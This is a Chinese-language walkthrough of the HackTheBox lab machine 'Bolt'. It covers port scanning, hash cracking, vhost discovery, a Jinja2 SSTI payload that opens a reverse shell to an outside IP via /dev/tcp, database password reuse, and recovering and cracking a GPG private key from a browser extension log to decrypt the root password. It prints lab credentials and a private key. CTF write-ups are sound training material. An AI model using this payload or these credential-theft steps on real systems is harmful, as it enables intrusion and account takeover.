基本信息

https://www.hackthebox.eu/home/machines/profile/384
10.10.11.114

端口扫描

22,80,443:

$ nmap -sC -sV 10.10.11.114

Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-12 14:10 CST
Nmap scan report for 10.10.11.114
Host is up (0.068s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 4d:20:8a:b2:c2:8c:f5:3e:be:d2:e8:18:16:28:6e:8e (RSA)
|   256 7b:0e:c7:5f:5a:4c:7a:11:7f:dd:58:5a:17:2f:cd:ea (ECDSA)
|_  256 a7:22:4e:45:19:8e:7d:3c:bc:df:6e:1d:6c:4f:41:56 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title:     Starter Website -  About
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2021-02-24T19:11:23
|_Not valid after:  2022-02-24T19:11:23
| http-title: Passbolt | Open source password manager for teams
|_Requested resource was /auth/login?redirect=%2F
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.68 seconds

80

443 passbolt.bolt.htb

加hosts后访问：

image.tar

80那里下载得到一个tar文件：

下载，解压，里面可以发现一个sqlite：

sqlite3

sqlite里得到admin密码hash：

1	1\|admin\|admin@bolt.htb\|$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.\|\|

hash crack

破解出来密码是，deadbolt

AdminLTE3

账号密码登录80：

direct chat

主页direct chat里提示信息，其他平台：

VHOST

扫描，得到几个子域名：

gobuster vhost -u http://bolt.htb -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -t 50

Found: demo.bolt.htb (Status: 302) [Size: 219]
Found: mail.bolt.htb (Status: 200) [Size: 4943]

mail.bolt.htb

demo.bolt.htb

demo.bolt.htb

两个子域名都不能用已有账号登录，demo可以注册, 注册需要邀请码可以在前面下载的文件里找到，进去之后可以看到功能明显比主站多：

mail.bolt.htb

demo注册的账号也可以直接登录mail：

SSTI

demo页面底部可以看到是Flask，那么可以尝试SSTI,更改会发一个确认邮件，点击后demo那里没生效，但会有一封新邮件告知已修改用户名，里面可以看到SSTI执行后结果：

shell

后面就是修改payload，得到shell：

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

1	{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen("bash -c 'exec bash -i &>/dev/tcp/10.10.14.12/4444 <&1'").read() }}

信息

简单的枚举，发现/etc/passbolt里一些有用信息,php里得到数据库密码,home目录两个用户名

'username' => 'passbolt',
'password' => 'rT2;jW7<eY8!dX8}pQ8%',

clark  
eddie

mysql

数据库里user表没密码，但有个secret表里得到gpg加密信息：

-----BEGIN PGP MESSAGE-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

wcBMA/ZcqHmj13/kAQgAkS/2GvYLxglAIQpzFCydAPOj6QwdVV5BR17W5psc
g/ajGlQbkE6wgmpoV7HuyABUjgrNYwZGN7ak2Pkb+/3LZgtpV/PJCAD030kY
pCLSEEzPBiIGQ9VauHpATf8YZnwK1JwO/BQnpJUJV71YOon6PNV71T2zFr3H
oAFbR/wPyF6Lpkwy56u3A2A6lbDb3sRl/SVIj6xtXn+fICeHjvYEm2IrE4Px
l+DjN5Nf4aqxEheWzmJwcyYqTsZLMtw+rnBlLYOaGRaa8nWmcUlMrLYD218R
zyL8zZw0AEo6aOToteDPchiIMqjuExsqjG71CO1ohIIlnlK602+x7/8b7nQp
edLA7wF8tR9g8Tpy+ToQOozGKBy/auqOHO66vA1EKJkYSZzMXxnp45XA38+u
l0/OwtBNuNHreOIH090dHXx69IsyrYXt9dAbFhvbWr6eP/MIgh5I0RkYwGCt
oPeQehKMPkCzyQl6Ren4iKS+F+L207kwqZ+jP8uEn3nauCmm64pcvy/RZJp7
FUlT7Sc0hmZRIRQJ2U9vK2V63Yre0hfAj0f8F50cRR+v+BMLFNJVQ6Ck3Nov
8fG5otsEteRjkc58itOGQ38EsnH3sJ3WuDw8ifeR/+K72r39WiBEiE2WHVey
5nOF6WEnUOz0j0CKoFzQgri9YyK6CZ3519x3amBTgITmKPfgRsMy2OWU/7tY
NdLxO3vh2Eht7tqqpzJwW0CkniTLcfrzP++0cHgAKF2tkTQtLO6QOdpzIH5a
Iebmi/MVUAw3a9J+qeVvjdtvb2fKCSgEYY4ny992ov5nTKSH9Hi1ny2vrBhs
nO9/aqEQ+2tE60QFsa2dbAAn7QKk8VE2B05jBGSLa0H7xQxshwSQYnHaJCE6
TQtOIti4o2sKEAFQnf7RDgpWeugbn/vphihSA984
=P38i
-----END PGP MESSAGE-----

passbolt.php

<?php
/**
 * Passbolt ~ Open source password manager for teams
 * Copyright (c) Passbolt SA (https://www.passbolt.com)
 *
 * Licensed under GNU Affero General Public License version 3 of the or any later version.
 * For full copyright and license information, please see the LICENSE.txt
 * Redistributions of files must retain the above copyright notice.
 *
 * @copyright     Copyright (c) Passbolt SA (https://www.passbolt.com)
 * @license       https://opensource.org/licenses/AGPL-3.0 AGPL License
 * @link          https://www.passbolt.com Passbolt(tm)
 * @since         2.0.0
 */
/**
 * PASSBOLT CONFIGURATION FILE
 *
 * This is a generated configuration file, which was generated by the passbolt web installer.
 *
 * To see all available options, you can refer to the default.php file, or replace this file
 * by a copy of passbolt.default.php
 * Do not modify default.php or you may break your upgrade process.
 *
 * Read more about how to install passbolt: https://www.passbolt.com/help/tech/install
 * Any issue, check out our FAQ: https://www.passbolt.com/faq
 * An installation issue? Ask for help to the community: https://community.passbolt.com/
 */
return [
    'App' => [
        // A base URL to use for absolute links.
        // The url where the passbolt instance will be reachable to your end users.
        // This information is need to render images in emails for example
        'fullBaseUrl' => 'https://passbolt.bolt.htb',
    ],

    // Database configuration.
    'Datasources' => [
        'default' => [
            'host' => 'localhost',
            'port' => '3306',
            'username' => 'passbolt',
            'password' => 'rT2;jW7<eY8!dX8}pQ8%',
            'database' => 'passboltdb',
        ],
    ],

    // Email configuration.
    'EmailTransport' => [
        'default' => [
            'host' => 'localhost',
            'port' => 587,
            'username' => null,
            'password' => null,
            // Is this a secure connection? true if yes, null if no.
            'tls' => true,
            //'timeout' => 30,
            //'client' => null,
            //'url' => null,
        ],
    ],
    'Email' => [
        'default' => [
            // Defines the default name and email of the sender of the emails.
            'from' => ['localhost@bolt.htb' => 'localhost'],
            //'charset' => 'utf-8',
            //'headerCharset' => 'utf-8',
        ],
    ],
    'passbolt' => [
        // GPG Configuration.
        // The keyring must to be owned and accessible by the webserver user.
        // Example: www-data user on Debian
        'gpg' => [
            // Main server key.
            'serverKey' => [
                // Server private key fingerprint.
                'fingerprint' => '59860A269E803FA094416753AB8E2EFB56A16C84',
                'public' => CONFIG . DS . 'gpg' . DS . 'serverkey.asc',
                'private' => CONFIG . DS . 'gpg' . DS . 'serverkey_private.asc',
            ],
        ],
        'registration' => [
            'public' => false,
        ],
        'ssl' => [
            'force' => true,
        ]
    ],
];

user flag

密码复用，数据库密码就是eddie用户密码，ssh登录，user.txt:

GPG

linpeas发现邮件和私钥信息,邮件里提到密码管理系统和私钥备份，在log文件中发现私钥：

[+] Mails (limit 50)
    72480      4 -rw-------   1 eddie    mail          909 Feb 25  2021 /var/mail/eddie

Possible private SSH keys were found!
/etc/ImageMagick-6/mime.xml
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/index.min.js
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js
/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log

hash crack

gpg私钥转换格式，破解出来密码，这一步比较费时间：

1 2	gpg2john gpg.key > hash.txt sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

decrypt

之后就是导入私钥，解密前面数据库里得到的信息：

gpg --batch --import gpg.key.priv
gpg --pinentry-mode loopback --passphrase merrychristmas -d message.asc

{"password":"Z(2rmxsNW(Z?3=p/9s","description":""}

mail

Hey Eddie,

The password management server is up and running.  Go ahead and download the extension to your browser and get logged in.  Be sure to back up your private key because I CANNOT recover it.  Your private key is the only way to recover your account.
Once you're set up you can start importing your passwords.  Please be sure to keep good security in mind - there's a few things I read about in a security whitepaper that are a little concerning...

-Clark

Gpg私钥

/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log

复制出来调整格式：

-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

xcMGBGA4G2EBCADbpIGoMv+O5sxsbYX3ZhkuikEiIbDL8JRvLX/r1KlhWlTi
fjfUozTU9a0OLuiHUNeEjYIVdcaAR89lVBnYuoneAghZ7eaZuiLz+5gaYczk
cpRETcVDVVMZrLlW4zhA9OXfQY/d4/OXaAjsU9w+8ne0A5I0aygN2OPnEKhU
RNa6PCvADh22J5vD+/RjPrmpnHcUuj+/qtJrS6PyEhY6jgxmeijYZqGkGeWU
+XkmuFNmq6km9pCw+MJGdq0b9yEKOig6/UhGWZCQ7RKU1jzCbFOvcD98YT9a
If70XnI0xNMS4iRVzd2D4zliQx9d6BqEqZDfZhYpWo3NbDqsyGGtbyJlABEB
AAH+CQMINK+e85VtWtjguB8IR+AfuDbIzHyKKvMfGStRhZX5cdsUfv5znicW
UjeGmI+w7iQ+WYFlmjFN/Qd527qOFOZkm6TgDMUVubQFWpeDvhM4F3Y+Fhua
jS8nQauoC87vYCRGXLoCrzvM03IpepDgeKqVV5r71gthcc2C/Rsyqd0BYXXA
iOe++biDBB6v/pMzg0NHUmhmiPnSNfHSbABqaY3WzBMtisuUxOzuvwEIRdac
2eEUhzU4cS8s1QyLnKO8ubvD2D4yVk+ZAxd2rJhhleZDiASDrIDT9/G5FDVj
QY3ep7tx0RTE8k5BE03NrEZi6TTZVa7MrpIDjb7TLzAKxavtZZYOJkhsXaWf
DRe3Gtmo/npea7d7jDG2i1bn9AJfAdU0vkWrNqfAgY/r4j+ld8o0YCP+76K/
7wiZ3YYOBaVNiz6L1DD0B5GlKiAGf94YYdl3rfIiclZYpGYZJ9Zbh3y4rJd2
AZkM+9snQT9azCX/H2kVVryOUmTP+uu+p+e51z3mxxngp7AE0zHqrahugS49
tgkE6vc6G3nG5o50vra3H21kSvv1kUJkGJdtaMTlgMvGC2/dET8jmuKs0eHc
Uct0uWs8LwgrwCFIhuHDzrs2ETEdkRLWEZTfIvs861eD7n1KYbVEiGs4n2OP
yF1ROfZJlwFOw4rFnmW4Qtkq+1AYTMw1SaV9zbP8hyDMOUkSrtkxAHtT2hxj
XTAuhA2i5jQoA4MYkasczBZp88wyQLjTHt7ZZpbXrRUlxNJ3pNMSOr7K/b3e
IHcUU5wuVGzUXERSBROU5dAOcR+lNT+Be+T6aCeqDxQo37k6kY6Tl1+0uvMp
eqO3/sM0cM8nQSN6YpuGmnYmhGAgV/Pj5t+cl2McqnWJ3EsmZTFi37Lyz1CM
vjdUlrpzWDDCwA8VHN1QxSKv4z2+QmXSzR5FZGRpZSBKb2huc29uIDxlZGRp
ZUBib2x0Lmh0Yj7CwI0EEAEIACAFAmA4G2EGCwkHCAMCBBUICgIEFgIBAAIZ
AQIbAwIeAQAhCRAcJ0Gj3DtKvRYhBN9Ca8ekqK9Y5Q7aDhwnQaPcO0q9+Q0H
/R2ThWBN8roNk7hCWO6vUH8Da1oXyR5jsHTNZAileV5wYnN+egxf1Yk9/qXF
nyG1k/IImCGf9qmHwHe+EvoDCgYpvMAQB9Ce1nJ1CPqcv818WqRsQRdLnyba
qx5j2irDWkFQhFd3Q806pVUYtL3zgwpupLdxPH/Bj2CvTIdtYD454aDxNbNt
zc5gVIg7esI2dnTkNnFWoFZ3+j8hzFmS6lJvJ0GN+Nrd/gAOkhU8P2KcDz74
7WQQR3/eQa0m6QhOQY2q/VMgfteMejlHFoZCbu0IMkqwsAINmiiAc7H1qL3F
U3vUZKav7ctbWDpJU/ZJ++Q/bbQxeFPPkM+tZEyAn/fHwwYEYDgbYQEIAJpY
HMNw6lcxAWuZPXYz7FEyVjilWObqMaAael9B/Z40fVH29l7ZsWVFHVf7obW5
zNJUpTZHjTQV+HP0J8vPL35IG+usXKDqOKvnzQhGXwpnEtgMDLFJc2jw0I6M
KeFfplknPCV6uBlznf5q6KIm7YhHbbyuKczHb8BgspBaroMkQy5LHNYXw2FP
rOUeNkzYjHVuzsGAKZZzo4BMTh/H9ZV1ZKm7KuaeeE2x3vtEnZXx+aSX+Bn8
Ko+nUJZEn9wzHhJwcsRGV94pnihqwlJsCzeDRzHlLORF7i57n7rfWkzIW8P7
XrU7VF0xxZP83OxIWQ0dXd5pA1fN3LRFIegbhJcAEQEAAf4JAwizGF9kkXhP
leD/IYg69kTvFfuw7JHkqkQF3cBf3zoSykZzrWNW6Kx2CxFowDd/a3yB4moU
KP9sBvplPPBrSAQmqukQoH1iGmqWhGAckSS/WpaPSEOG3K5lcpt5EneFC64f
a6yNKT1Z649ihWOv+vpOEftJVjOvruyblhl5QMNUPnvGADHdjZ9SRmo+su67
JAKMm0cf1opW9x+CMMbZpK9m3QMyXtKyEkYP5w3EDMYdM83vExb0DvbUEVFH
kERD10SVfII2e43HFgU+wXwYR6cDSNaNFdwbybXQ0quQuUQtUwOH7t/Kz99+
Ja9e91nDa3oLabiqWqKnGPg+ky0oEbTKDQZ7Uy66tugaH3H7tEUXUbizA6cT
Gh4htPq0vh6EJGCPtnyntBdSryYPuwuLI5WrOKT+0eUWkMA5NzJwHbJMVAlB
GquB8QmrJA2QST4v+/xnMLFpKWtPVifHxV4zgaUF1CAQ67OpfK/YSW+nqong
cVwHHy2W6hVdr1U+fXq9XsGkPwoIJiRUC5DnCg1bYJobSJUxqXvRm+3Z1wXO
n0LJKVoiPuZr/C0gDkek/i+p864FeN6oHNxLVLffrhr77f2aMQ4hnSsJYzuz
4sOO1YdK7/88KWj2QwlgDoRhj26sqD8GA/PtvN0lvInYT93YRqa2e9o7gInT
4JoYntujlyG2oZPLZ7tafbSEK4WRHx3YQswkZeEyLAnSP6R2Lo2jptleIV8h
J6V/kusDdyek7yhT1dXVkZZQSeCUUcQXO4ocMQDcj6kDLW58tV/WQKJ3duRt
1VrD5poP49+OynR55rXtzi7skOM+0o2tcqy3JppM3egvYvXlpzXggC5b1NvS
UCUqIkrGQRr7VTk/jwkbFt1zuWp5s8zEGV7aXbNI4cSKDsowGuTFb7cBCDGU
Nsw+14+EGQp5TrvCwHYEGAEIAAkFAmA4G2ECGwwAIQkQHCdBo9w7Sr0WIQTf
QmvHpKivWOUO2g4cJ0Gj3DtKvf4dB/9CGuPrOfIaQtuP25S/RLVDl8XHvzPm
oRdF7iu8ULcA9gTxPn8DNbtdZEnFHHOANAHnIFGgYS4vj3Dj9Q3CEZSSVvwg
6599FMcw9nGzypVOgqgQv8JGmIUeCipD10k8nHW7m9YBfQB04y9wJw99WNw/
Ic3vdhZ6NvsmLzYI21dnWD287sPj2tKAuhI0AqCEkiRwb4Z4CSGgJ5TgGML8
11Izrkqamzpc6mKBGi213tYH6xel3nDJv5TKm3AGwXsAhJjJw+9K0MNARKCm
YZFGLdtA/qMajW4/+T3DJ79YwPQOtCrFyHiWoIOTWfs4UhiUJIE4dTSsT/W0
PSwYYWlAywj5=cqxZ
-----END PGP PRIVATE KEY BLOCK-----

root flag

gpg解密得到的就是root密码，不能直接ssh，可以su：

参考资料

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
HTB Bolt [Discussion] | RaidForums
https://rfmirror.com/Thread-Tutorial-HTB-Bolt-Discussion

Bolt - HackTheBox

2021-10-13

Bolt - HackTheBox

基本信息

10.10.11.114

端口扫描

80

443 passbolt.bolt.htb

image.tar

sqlite3

hash crack

AdminLTE3

direct chat

VHOST

mail.bolt.htb

demo.bolt.htb

demo.bolt.htb

mail.bolt.htb

SSTI

shell

信息

mysql

passbolt.php

user flag

GPG

hash crack

decrypt

mail

Gpg私钥

root flag

参考资料